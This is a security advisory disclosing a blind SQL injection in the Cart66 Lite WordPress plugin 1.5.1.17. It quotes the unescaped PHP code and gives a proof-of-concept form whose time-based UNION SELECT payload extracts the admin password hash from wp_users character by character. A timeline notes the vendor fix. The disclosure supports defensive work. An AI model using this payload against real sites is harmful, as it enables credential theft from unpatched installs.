01-12-2014 / Vulnerabilities

Cart66 Lite WordPress Ecommerce 1.5.1.17 Blind SQL Injection

Cart66Ajax::shortcodeProductsTable is accessible for every registered user.

add_action('wp_ajax_shortcode_products_table', array('Cart66Ajax', 'shortcodeProductsTable'));

$postId is not escaped correctly (only html tags are stripped).

File: cart66-lite\models\Cart66Ajax.php

public static function shortcodeProductsTable() {
    global $wpdb;
    $prices = array();
    $types = array(); 
    $postId = Cart66Common::postVal('id');
    $product = new Cart66Product();
    $products = $product->getModels("where id=$postId", "order by name");
    $data = array();
}

File: cart66-lite\models\Cart66Common.php

public static function postVal($key)
{
    $value = false;
    if (isset($_POST[$key])) {
        $value = self::deepTagClean($_POST[$key]);
    }
    return $value;
}
public static function deepTagClean(&$data)
{
    if (is_array($data)) {
        foreach ($data as $key => $value) {
            if (is_array($value)) {
                $data[$key] = self::deepTagClean($value);
            } else {
                $value = strip_tags($value);
                $data[$key] = preg_replace('/[<>\\\\]/', '', $value);
            }
        }
    } else {
        $data = strip_tags($data);
        $data = preg_replace('/[<>\\\\]/', '', $data);;
    }
    return $data;
}

So we inject SQL into $where variable:

File: cart66-lite\models\Cart66ModelAbstract.php

$sql = 'SELECT ' . $id . ' FROM ' . $tableName . $where . $orderBy . $limit;

Proof of Concept

Login as regular user (created using wp-login.php?action=register):

<form action="http://wordpress-install/wp-admin/admin-ajax.php" method="post">
    <input type="hidden" name="action" value="shortcode_products_table">
    Blind SQL Injection: <input type="text" name="id" value="0 UNION (SELECT IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM wp_users WHERE ID = 1) -- ">
    <input value="Hack" type="submit">
</form>

This SQL will check if first password character user ID=1 is “$”.

If yes, it will sleep 5 seconds.

Timeline

  • 29-10-2014: Discovered
  • 08-11-2014: Vendor notified
  • 10-11-2014: Version 1.5.2 released, issue resolved